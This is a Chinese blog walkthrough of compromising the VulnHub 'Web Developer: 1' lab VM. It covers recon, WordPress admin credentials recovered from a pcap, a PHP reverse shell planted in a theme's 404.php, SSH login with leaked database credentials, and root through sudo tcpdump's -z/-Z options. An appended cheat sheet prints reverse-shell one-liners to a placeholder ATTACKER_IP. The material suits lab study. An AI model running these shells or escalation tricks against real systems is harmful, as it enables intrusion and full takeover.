当前位置: 首页 > article >正文

Web Developer 1靶场渗透测试

靶机下载地址 Web Developer: 1 ~ VulnHub

1,将两台虚拟机网络连接都改为NAT模式

2,攻击机上做namp局域网扫描发现靶机

nmap -sn 192.168.23.0/24

那么攻击机IP为192.168.23.181,靶场IP192.168.23.65

3,对靶机进行端口服务探测

nmap -sV -T4 -p- -A 192.168.23.65

4,访问一下80端口存在的http服务

是一个很经典的wordpress框架搭建的网站

5,再对网站后台子目录进行爆破扫描

dirsearch -u http://192.168.23.65 -x 404,403

分别查看这些内容,发现没什么用换一种扫描方式

dirb  http://192.168.23.65 |grep -n "DIR"

6,访问登录页面 http://192.168.23.65/wp-admin/

访问 http://192.168.23.65/ipdata/ 下载得到一个流量包

右键追踪No.180流量包,发现管理员通过POST请求方式登录,账户密码是明文传输的

账户/密码:webdeveloper/Te5eQg&4sBS!Yr$)wf%(DcAd

7,成功登录。使用whatweb扫描一下网站指纹

各种组件的版本都比较新

通过网页知道wordpress版本为6.7.2,检索一下漏洞数据库里面的内容

searchsploit wordpress 6.7.2

8,使用kali自带的木马文件,在404.php处上传

注意选择appearance/editor/404 template;select theme to edit选择twenty sixteen;反弹shell监听的IP地址和端口一定要修改为kali攻击机的

依照上述要求操作成功上传

9,然后访问对应网址

http://192.168.23.65/wp-content/themes/twentysixteen/404.php

与此同时kali攻击机需要开启对4444端口的监听。当访问网址之后,就可以看到攻击机成功的getshell了

10,getshell后发现权限极低,无法启动python模块创建一个可交互是shell。目前知道靶机开放ssh服务,那么思路就可以有查看网站的配置文件

cat wp-login.php

从配置文件中得到了数据库账户密码,那么就可以ssh登录webdeveloper,然后在其数据库里面做信息收集。

ssh/数据库账户/密码:webdeveloper/MasterOfTheUniverse

11,查看能否sudo提权 sudo -l

发现可以tcpdump提权,查找一下使用方法

echo $'php /var/www/html/wp-content/themes/twentysixteen/404.php' > /tmp/.shell

  • 作用:在 /tmp 目录下创建一个隐藏文件 .shell,内容为 php /var/www/html/wp-content/themes/twentysixteen/404.php。
  • 关键点
    • /tmp 是临时目录,通常所有用户可写,适合存放攻击载荷。
    • 404.php 是 WordPress 主题的 404 页面文件,此处可能已被篡改或植入恶意代码。

chmod +x /tmp/.shell

sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/.shell -Z root

  • 参数解析
    • -ln:禁用域名解析(-n)并使用行缓冲(-l)。
    • -i eth0:指定监听网卡。
    • -w /dev/null:将抓包数据写入空设备(丢弃)。
    • -W 1 -G 1:限制抓包文件数量为 1,旋转时间为 1 秒(快速触发动作)。
    • -z /tmp/.shell:抓包完成后执行指定脚本。
    • -Z root:以 root 用户权限运行脚本。
  • 实际效果
    • 通过 sudo 以高权限启动 tcpdump。
    • 由于 tcpdump 配置允许使用 -z 参数,脚本 /tmp/.shell 会以 root 身份执行。
    • 最终执行命令:
      php /var/www/html/wp-content/themes/twentysixteen/404.php

12,与此同时kali-linux要打开对4444端口的监听,等待迂回就成功get root权限的shell

最后成功得到了flag

tcpdump提权方法

1. 检查 tcpdump 的 sudo 权限细节

首先确认 tcpdump 的完整 sudo 配置命令(你提供的信息未显示具体权限范围):

sudo -l

若输出中存在类似以下内容,则提权可能性较高:

复制

(root) NOPASSWD: /usr/sbin/tcpdump

2. 常用提权方法

方法 1:通过 -z 或 -Z 参数执行脚本

如果 tcpdump 允许使用 -z(后接脚本路径)或 -Z(用户权限切换)参数,可以尝试以下操作:

# 生成反弹 Shell 脚本(假设可写目录为 /tmp)
echo 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1"' > /tmp/shell.sh
chmod +x /tmp/shell.sh

# 通过 tcpdump 触发脚本执行
sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/shell.sh -Z root

  • 原理:-z /tmp/shell.sh 会让 tcpdump 在完成抓包文件后执行该脚本,-Z root 会以 root 权限运行。

方法 2:通过读取文件注入命令

若无法直接写脚本,可通过流量捕获触发命令执行:

# 监听本地流量并触发命令
sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 --postrotate-command='bash -c "bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1"'

方法 3:利用命令注入(需参数未过滤)

如果 tcpdump 的参数未被严格过滤,尝试注入命令:

sudo tcpdump -i eth0 -w $(whoami|tee /tmp/result).pcap

检查 /tmp/result 文件内容,若显示 root,则当前以 root 权限运行。

3. 防御措施(给管理员)

若你是管理员,应限制 tcpdump 的 sudo 权限:

# 禁止危险参数(在 /etc/sudoers 中配置)
webdeveloper ALL=(root) NOPASSWD: /usr/sbin/tcpdump -n -i eth0


http://www.kler.cn/a/560600.html

相关文章:

  • 深度学习基础--ResNet网络的讲解,ResNet50的复现(pytorch)以及用复现的ResNet50做鸟类图像分类
  • 基于Matlab实现报童问题仿真
  • CI/CD的定义
  • 23种设计模式之《代理模式(Proxy)》在c#中的应用及理解
  • ddd 文章总结分享,ddd实战代码分享, 领域驱动设计java实战源码大全,我看过的ddd java源码
  • 3D Web轻量化引擎HOOPS Communicator如何赋能航空航天制造?
  • Linux编辑器
  • hackmyvm-buster
  • C语言学习,希尔排序
  • Websock Demo(一)前端代码
  • pytest运行用例的常见方式及参数
  • ChatGPT免费背后的技术暗战 国产数字孪生如何打造“虚实共生”新生态?
  • 【C】初阶数据结构7 -- 树与顺序结构的二叉树(堆)
  • 链表(LinkedList)面试题
  • 蓝桥杯客观题
  • 网络安全-新型路径攻击流程及防御措施
  • 蓝桥杯学习笔记03-滑动窗口不定长(最长/最大)
  • 性能测试项目实战
  • VMware安装CentOS 10
  • 传统 HTML 表单如何支持PUT DELETE 方法提交请求